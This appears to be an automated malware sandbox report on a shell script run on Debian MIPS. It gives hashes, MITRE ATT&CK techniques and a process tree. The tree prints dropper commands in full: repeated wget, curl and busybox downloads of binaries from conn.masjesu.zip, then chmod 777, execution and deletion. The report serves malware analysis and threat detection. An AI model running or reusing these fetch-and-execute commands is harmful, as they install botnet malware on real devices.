dcd3a5479c0c476afaa4ce29abea74e2808a4967c201d370c5de9198cab26df3

Analysis

max time kernel
87s
max time network
89s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
14/11/2024, 03:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dcd3a5479c0c476afaa4ce29abea74e2808a4967c201d370c5de9198cab26df3.sh
Size 10KB
Sample241114-dp9v8stflq
SHA256 dcd3a5479c0c476afaa4ce29abea74e2808a4967c201d370c5de9198cab26df3
MD5 a454f0995e44f17152d27b2c2c7fae8a
SHA1 bda42b32327df97320f6a5e90666e88848fe0e90
SHA512 c55eea9725f11cee7609eb135f6d471c08230cfd8c92d7f61ce2d12c7910c3274d4847ad1c0c4b1033339717f145a771a55aca17647484d0bfef234d0c1ffcc1
SSDEEP 96:YqigJhtmWULNHNbN6jLxLCjGpvDjLKnCJjO+1Bs6LML99OUA887XOTvlLcfczcOW:UBtx6jLx9VVRY6UGtx6jLqx2i
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
963	chmod
817	chmod
825	chmod
872	chmod
935	chmod
942	chmod
977	chmod
752	chmod
781	chmod
886	chmod
928	chmod
949	chmod
879	chmod
893	chmod
900	chmod
991	chmod
1019	chmod
907	chmod
998	chmod
1012	chmod
850	chmod
921	chmod
956	chmod
759	chmod
914	chmod
970	chmod
984	chmod
1005	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
986	rm
856	wget
882	wget
896	wget
899	busybox
910	wget
924	wget
938	wget
976	busybox
980	wget
988	curl
822	curl
904	curl
917	wget
953	curl
966	wget
974	curl
1004	busybox
1008	wget
758	busybox
865	curl
876	curl
890	curl
897	curl
911	curl
959	wget
1015	wget
1018	busybox
909	rm
925	curl
945	wget
946	curl
948	busybox
973	wget
1002	curl
755	wget
821	wget
878	busybox
913	busybox
920	busybox
960	curl
1001	wget
871	busybox
934	busybox
985	bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
1009	curl
762	wget
885	busybox
931	wget
967	curl
990	busybox
906	busybox
981	curl
995	curl
727	wget
824	busybox
831	curl
889	wget
892	busybox
955	busybox
1016	curl
908	bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
918	curl
952	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx	curl
File opened for modification	/tmp/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4	curl
File opened for modification	/tmp/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn	curl
File opened for modification	/tmp/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc	curl
File opened for modification	/tmp/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB	curl
File opened for modification	/tmp/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI	curl
File opened for modification	/tmp/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm	curl
File opened for modification	/tmp/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2	curl
File opened for modification	/tmp/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2	curl
File opened for modification	/tmp/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc	curl
File opened for modification	/tmp/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm	curl
File opened for modification	/tmp/YekoON9r5UGPx0wk27DVV4img563KuiJcu	curl
File opened for modification	/tmp/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm	curl
File opened for modification	/tmp/YekoON9r5UGPx0wk27DVV4img563KuiJcu	curl
File opened for modification	/tmp/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm	curl
File opened for modification	/tmp/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd	curl
File opened for modification	/tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK	curl
File opened for modification	/tmp/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA	curl
File opened for modification	/tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK	curl
File opened for modification	/tmp/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx	curl
File opened for modification	/tmp/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe	curl
File opened for modification	/tmp/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe	curl
File opened for modification	/tmp/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA	curl
File opened for modification	/tmp/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4	curl
File opened for modification	/tmp/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI	curl
File opened for modification	/tmp/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd	curl
File opened for modification	/tmp/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn	curl
File opened for modification	/tmp/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB	curl

/tmp/dcd3a5479c0c476afaa4ce29abea74e2808a4967c201d370c5de9198cab26df3.sh
/tmp/dcd3a5479c0c476afaa4ce29abea74e2808a4967c201d370c5de9198cab26df3.sh
1⤵
PID:720
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:722
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  PID:751
- /bin/chmod
  chmod 777 1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  ./1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm 1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  PID:754
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - System Network Configuration Discovery
  PID:755
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/chmod
  chmod 777 YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  ./YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - System Network Configuration Discovery
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  PID:776
- /bin/chmod
  chmod 777 GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  ./GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  PID:812
- /bin/chmod
  chmod 777 INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  ./INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - System Network Configuration Discovery
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  ./CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  PID:843
- /bin/chmod
  chmod 777 KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  ./KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  ./mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  ./uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  ./YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  ./Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  ./oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/chmod
  chmod 777 bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  ./bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:908
- /bin/rm
  rm bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/chmod
  chmod 777 XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  ./XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  ./UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  PID:927
- /bin/chmod
  chmod 777 YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/YekoON9r5UGPx0wk27DVV4img563KuiJcu
  ./YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm YekoON9r5UGPx0wk27DVV4img563KuiJcu
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  ./GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  PID:941
- /bin/chmod
  chmod 777 INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  ./INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  ./1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm 1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  ./CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  PID:962
- /bin/chmod
  chmod 777 KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  ./KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  PID:969
- /bin/chmod
  chmod 777 mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  ./mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
